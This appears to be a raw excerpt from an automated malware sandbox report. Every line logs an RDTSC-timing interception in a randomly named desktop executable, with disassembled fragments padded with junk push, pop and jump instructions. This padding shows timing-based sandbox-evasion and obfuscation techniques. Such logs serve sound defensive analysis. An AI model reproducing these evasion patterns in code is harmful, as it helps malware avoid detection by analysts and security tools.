Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10559D5 second address: 10559E6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE8C4E5DB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10559E6 second address: 1055A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE8C4E01196h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE8C4E0119Ch 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1055A03 second address: 1055A09 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1055A09 second address: 1055A13 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE8C4E0119Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10599D8 second address: 10599DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1058C9E second address: 1058CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 105905D second address: 1059063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1059063 second address: 1059067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1059067 second address: 105906B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10591DA second address: 10591DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10591DF second address: 10591F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE8C4E5DB26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10591F0 second address: 10591F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1059338 second address: 1059342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE8C4E5DB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1059342 second address: 1059348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1059348 second address: 105934C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 105946B second address: 105948A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007FE8C4E011A3h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 105B1A3 second address: 105B1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 105B1A7 second address: 105B1AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 105C893 second address: 105C8B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE8C4E5DB34h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 105C8B0 second address: 105C8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10647A8 second address: 10647BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE8C4E5DB2Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10647BA second address: 10647CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jp 00007FE8C4E011A2h 0x0000000b jc 00007FE8C4E01196h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1063065 second address: 106306F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE8C4E5DB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 106306F second address: 1063087 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE8C4E01196h 0x00000008 jo 00007FE8C4E01196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 jne 00007FE8C4E01196h 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10631CC second address: 10631D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FE8C4E5DB26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10631D7 second address: 10631E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10631E0 second address: 10631EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE8C4E5DB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 106348F second address: 1063493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10635A7 second address: 10635D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB32h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE8C4E5DB35h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10635D4 second address: 10635F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10635F4 second address: 10635FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE8C4E5DB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 106463D second address: 1064655 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FE8C4E01196h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007FE8C4E0119Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 106D397 second address: 106D3D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Bh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jno 00007FE8C4E5DB26h 0x00000012 ja 00007FE8C4E5DB26h 0x00000018 pop edx 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FE8C4E5DB39h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 106CD85 second address: 106CD8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 106CF2B second address: 106CF30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 106CF30 second address: 106CF36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 106D0A4 second address: 106D0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 jns 00007FE8C4E5DB2Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 106D0BB second address: 106D0BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 107A75D second address: 107A761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 107A761 second address: 107A78E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FE8C4E011B1h 0x0000000c pop edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 107A78E second address: 107A792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 107D740 second address: 107D75F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE8C4E011A8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 107FC07 second address: 107FC1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jp 00007FE8C4E5DB26h 0x0000000c popad 0x0000000d pushad 0x0000000e jbe 00007FE8C4E5DB26h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 107FC1E second address: 107FC33 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FE8C4E01196h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FE8C4E01196h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 107FC33 second address: 107FC44 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE8C4E5DB26h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 107FC44 second address: 107FC4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1087025 second address: 108702B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 108702B second address: 108702F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 108EB79 second address: 108EB7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 108EA42 second address: 108EA54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E0119Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1097903 second address: 1097908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1097A52 second address: 1097A5C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE8C4E01196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1097A5C second address: 1097A8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB38h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE8C4E5DB36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1097CFA second address: 1097D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE8C4E01196h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 jns 00007FE8C4E01196h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1097D15 second address: 1097D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1097D1B second address: 1097D28 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1097D28 second address: 1097D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jmp 00007FE8C4E5DB2Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1097EA6 second address: 1097EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 1098D74 second address: 1098D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10A47AA second address: 10A47C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE8C4E01196h 0x0000000a pop eax 0x0000000b jnp 00007FE8C4E011A2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10A47C7 second address: 10A47D1 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE8C4E5DB2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10B74B7 second address: 10B74BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10B74BB second address: 10B750D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE8C4E5DB30h 0x0000000b push ecx 0x0000000c js 00007FE8C4E5DB26h 0x00000012 jl 00007FE8C4E5DB26h 0x00000018 pop ecx 0x00000019 jnc 00007FE8C4E5DB38h 0x0000001f popad 0x00000020 push ebx 0x00000021 pushad 0x00000022 jmp 00007FE8C4E5DB31h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10B7352 second address: 10B7358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10B7358 second address: 10B736C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007FE8C4E5DB2Ah 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10B94E5 second address: 10B950D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push ebx 0x00000006 jmp 00007FE8C4E011A4h 0x0000000b jl 00007FE8C4E01196h 0x00000011 pop ebx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10B91B2 second address: 10B91CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E5DB33h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10CDB26 second address: 10CDB48 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jnc 00007FE8C4E011A4h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10CDB48 second address: 10CDB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10CDDD7 second address: 10CDDF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E0119Eh 0x00000009 jno 00007FE8C4E01196h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10CE105 second address: 10CE10C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10CE10C second address: 10CE114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10CE114 second address: 10CE171 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jbe 00007FE8C4E5DB4Eh 0x00000012 jmp 00007FE8C4E5DB2Fh 0x00000017 jmp 00007FE8C4E5DB39h 0x0000001c pushad 0x0000001d jmp 00007FE8C4E5DB32h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10CE171 second address: 10CE177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10CE6CF second address: 10CE6D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10D1B50 second address: 10D1B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10D1B54 second address: 10D1B5E instructions: 0x00000000 rdtsc 0x00000002 je 00007FE8C4E5DB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10D32D5 second address: 10D3300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E011A4h 0x00000009 jmp 00007FE8C4E011A2h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10D7333 second address: 10D7339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10D7584 second address: 10D7589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10D7589 second address: 10D7593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FE8C4E5DB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10D7593 second address: 10D7597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10D7597 second address: 10D75EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jne 00007FE8C4E5DB2Eh 0x0000000f nop 0x00000010 mov dword ptr [ebp+122D5AC0h], ecx 0x00000016 push 00000004h 0x00000018 jc 00007FE8C4E5DB2Ch 0x0000001e or dword ptr [ebp+12457193h], eax 0x00000024 call 00007FE8C4E5DB29h 0x00000029 jmp 00007FE8C4E5DB35h 0x0000002e push eax 0x0000002f jns 00007FE8C4E5DB38h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10D75EC second address: 10D75F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10D75F0 second address: 10D761D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE8C4E5DB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007FE8C4E5DB37h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10D761D second address: 10D7627 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE8C4E01196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 10DAFD8 second address: 10DAFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FEBE7F second address: FEBE9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE8C4E011A8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: FEC0C9 second address: FEC0E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5020385 second address: 50203AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE8C4E0119Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50203AC second address: 50203B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040668 second address: 50406A1 instructions: 0x00000000 rdtsc 0x00000002 call 00007FE8C4E011A8h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FE8C4E011A3h 0x00000014 pop eax 0x00000015 mov eax, edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 50406A1 second address: 50406A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
